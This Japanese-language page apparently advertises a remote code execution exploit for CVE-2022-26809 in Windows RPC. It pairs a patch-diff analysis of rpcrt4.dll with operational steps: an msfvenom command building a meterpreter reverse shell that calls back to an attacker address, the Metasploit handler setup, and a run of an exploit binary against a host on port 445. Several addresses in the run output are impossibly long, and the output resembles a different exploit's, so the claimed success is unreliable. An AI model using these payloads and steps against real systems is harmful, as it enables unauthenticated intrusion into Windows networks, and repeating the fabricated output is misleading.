
CVE-2022-26809を狙ったリモートコード実行エクスプロイトで、Windows RPCのヒープバッファオーバーフローを標的とし、msfvenomシェルコード統合とmeterpreterリバースシェルペイロード配信を備えています。
CVE-2022-26809 - 中核的なWindowsコンポーネント(RPC)の脆弱性は、理由なくCVSSスコア9.8を獲得したわけではありません。攻撃は認証を必要とせず、ネットワーク経由でリモートから実行可能であり、RPCサービス(RPCランタイムをホストするプロセスに依存します)の権限でリモートコード実行(RCE)を引き起こす可能性があります。この重大なバグは、運が良ければ、パッチが適用されていないSMBを実行しているWindowsホストへのアクセスを許可します。この脆弱性は、ネットワーク外部から侵入するためだけでなく、ネットワーク内のマシン間でも悪用される可能性があります。
ベンダー情報
確認済みの脆弱なホスト:
このリストは後日更新する予定です。SMBが実行され、ポート445が開いているほぼすべてのビルドが影響を受けると推測しています。
TCP 135,139,445
CVEは、脆弱性がWindows RPCランタイム内に存在することを述べており、これはrpcrt4.dllという名前のライブラリに実装されています。このランタイムライブラリは、RPCプロトコルを使用して通信するクライアントプロセスとサーバープロセスの両方に読み込まれます。私たちはバージョン10.0.22000.434(3月版)と10.0.22000.613(修正版)を比較し、変更点のリストを抽出しました。
関数OSF_SCALL::ProcessResponseとOSF_CCALL::ProcessReceivedPDUは本質的に類似しています。両方ともRPCパケットを処理しますが、一方はサーバー側、もう一方はクライアント側で実行されます(SCALLとCCALL)。OSF_SCALL::ProcessReceivedPDUを差分比較したところ、新しいバージョンに追加された2つのコードブロックに気付きました。


修正されたコードを見ると、QUEUE::PutOnQueueの後に新しい関数が呼び出されていることがわかりました。新しい関数を調査し、そのコードを詳しく調べたところ、整数オーバーフローをチェックしていることが判明しました。つまり、パッチの新しい関数は、整数変数が期待値範囲内に収まっていることを確認するために追加されました。

OSF_SCALL:GetCoalescedBuffer内の脆弱なコードをさらに詳しく調べたところ、整数オーバーフローバグがヒープバッファオーバーフローを引き起こす可能性があることに気付きました。データが小さすぎるバッファにコピーされ、結果としてバッファの境界外のヒープにデータが書き込まれる可能性があります。このプリミティブを悪用すると、リモートコード実行につながります!
整数オーバーフローをチェックする同じ呼び出しが、他の関数にも追加されました:
OSF_CCALL::ProcessResponse OSF_SCALL::GetCoalescedBuffer OSF_CCALL::GetCoalescedBuffer
整数オーバーフローの脆弱性とそれを防ぐ関数は、クライアント側とサーバー側の両方の実行フローに存在します。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.105 LPORT=4444 -f raw > shellcode.bin
msf5 > use multi/handler
msf5 exploit(multi/handler) > set LHOST 192.168.10.105
LHOST => 192.168.10.105
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > run
CVE-2022-26809 ip port
C:\>CVE-2022-26809.exe 192.168.10.110 445
CVE-2022-26809 RPC Remote Exploit
[+] Checking... 192.168.10.110 445
[+] 192.168.10.110 445 IsOpen
[+] found low stub at phys addr 6800!
[+] Pipe at 4ac660
[+] base of RPC heap at fffff79480048033
[+] ntoskrnl entry at fffff802435782060
[+] found Pipe self-ref entry 1eb
[+] found Alsr at fffff64480301671
[+] found RPC CALL at fffff802451b3b30
[+] load shellcode.bin
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff4ffc0033060
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff75006070a023!
[+] Try to execute shellcode!
[ ] Exploit Suceess!